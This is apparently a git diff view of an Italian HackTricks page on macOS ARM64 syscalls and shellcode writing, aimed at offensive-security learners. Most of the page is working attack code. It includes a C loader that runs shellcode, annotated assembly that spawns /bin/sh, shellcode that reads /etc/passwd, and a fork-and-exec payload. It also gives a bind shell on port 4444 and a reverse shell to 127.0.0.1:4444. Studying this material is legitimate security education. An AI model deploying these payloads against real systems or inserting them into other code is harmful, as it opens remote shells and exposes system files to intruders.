{% code overflow="wrap" %}
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
|
@ -369,7 +347,7 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
A volte è più facile controllare il codice **decompilato** da **`libsystem_kernel.dylib`** **piuttosto che** controllare il **codice sorgente** perché il codice di diverse chiamate di sistema (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato.
|
||||
A volte è più facile controllare il codice **decompilato** da **`libsystem_kernel.dylib`** piuttosto che controllare il **codice sorgente** perché il codice di diverse chiamate di sistema (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato.
|
||||
{% endhint %}
|
||||
|
||||
### chiamate machdep
|
||||
|
|
@ -378,7 +356,7 @@ XNU supporta un altro tipo di chiamate chiamate dipendenti dalla macchina. Il nu
|
|||
|
||||
### pagina comm
|
||||
|
||||
Questa è una pagina di memoria proprietaria del kernel che viene mappata nello spazio degli indirizzi di ogni processo utente. È destinata a rendere più veloce la transizione dalla modalità utente allo spazio kernel rispetto all'utilizzo di chiamate di sistema per servizi kernel che vengono utilizzati così tanto che questa transizione sarebbe molto inefficiente.
|
||||
Questa è una pagina di memoria proprietaria del kernel che viene mappata nello spazio degli indirizzi di ogni processo utente. È destinata a rendere più veloce la transizione dalla modalità utente allo spazio kernel rispetto all'utilizzo di chiamate di sistema per i servizi del kernel che vengono utilizzati così tanto che questa transizione sarebbe molto inefficiente.
|
||||
|
||||
Ad esempio, la chiamata `gettimeofdate` legge il valore di `timeval` direttamente dalla pagina comm.
|
||||
|
||||
|
|
@ -392,8 +370,7 @@ Parametri ([più informazioni nella documentazione](https://developer.apple.com/
|
|||
* x1: op -> Selettore del metodo
|
||||
* x2... -> Resto degli argomenti del metodo invocato
|
||||
|
||||
Quindi, se si inserisce un breakpoint prima del salto a questa funzione, è possibile trovare facilmente cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto da `NSConcreteTask` che eseguirà un comando):
|
||||
|
||||
Quindi, se imposti un breakpoint prima del salto a questa funzione, puoi facilmente trovare cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto da `NSConcreteTask` che eseguirà un comando):
|
||||
```
|
||||
(lldb) po $x0
|
||||
<NSConcreteTask: 0x1052308e0>
|
||||
|
|
@ -410,11 +387,9 @@ Quindi, se si inserisce un breakpoint prima del salto a questa funzione, è poss
|
|||
whoami
|
||||
)
|
||||
```
|
||||
|
||||
### Shellcodes
|
||||
|
||||
Per compilare:
|
||||
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
|
|
@ -422,18 +397,16 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
|
||||
Per estrarre i byte:
|
||||
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
<details>
|
||||
|
||||
Codice C per testare lo shellcode
|
||||
|
||||
<summary>Codice C per testare lo shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
|
@ -479,11 +452,14 @@ sc();
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
**Shell**
|
||||
#### Shell
|
||||
|
||||
Prelevato da [**qui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e spiegato.
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="con adr" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
|
@ -498,26 +474,58 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="con stack" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
||||
|
||||
_main:
|
||||
; We are going to build the string "/bin/sh" and place it on the stack.
|
||||
|
||||
\`\`\`armasm .section \_\_TEXT,\_\_text ; This directive tells the assembler to place the following code in the \_\_text section of the \_\_TEXT segment. .global \_main ; This makes the \_main label globally visible, so that the linker can find it as the entry point of the program. .align 2 ; This directive tells the assembler to align the start of the \_main function to the next 4-byte boundary (2^2 = 4).
|
||||
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
|
||||
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
|
||||
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
|
||||
movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
||||
|
||||
\_main: ; We are going to build the string "/bin/sh" and place it on the stack.
|
||||
|
||||
mov x1, #0x622F ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'. movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'. movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'. movk x1, #0x68, lsl #48 ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.
|
||||
|
||||
str x1, \[sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
||||
str x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.
|
||||
|
||||
; Prepare arguments for the execve syscall.
|
||||
|
||||
mov x1, #8 ; Set x1 to 8. sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack. mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve. mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
mov x1, #8 ; Set x1 to 8.
|
||||
sub x0, sp, x1 ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
|
||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
|
||||
; Make the syscall.
|
||||
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16. svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="con adr per linux" %}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
|
||||
|
||||
_main:
|
||||
adr x0, sh_path ; This is the address of "/bin/sh".
|
||||
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
|
||||
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
|
||||
mov x16, #59 ; Move the execve syscall number (59) into x16.
|
||||
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
|
||||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
````
|
||||
#### Leggere con cat
|
||||
|
||||
L'obiettivo è eseguire `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi).
|
||||
|
|
@ -545,10 +553,8 @@ svc 0 ; Make the syscall
|
|||
cat_path: .asciz "/bin/cat"
|
||||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
````
|
||||
|
||||
**Esegui il comando con sh da una fork in modo che il processo principale non venga ucciso**
|
||||
|
||||
```
|
||||
#### Esegui il comando con sh da una fork in modo che il processo principale non venga ucciso
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
|
@ -592,11 +598,9 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
|
||||
**Shell di bind**
|
||||
#### Shell di bind
|
||||
|
||||
Shell di bind da [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) sulla **porta 4444**
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
|
@ -678,11 +682,9 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
|
||||
**Shell inversa**
|
||||
#### Shell inversa
|
||||
|
||||
Da [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell a **127.0.0.1:4444**
|
||||
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
|
@ -749,14 +751,13 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
|||
Loading…
Reference in a new issue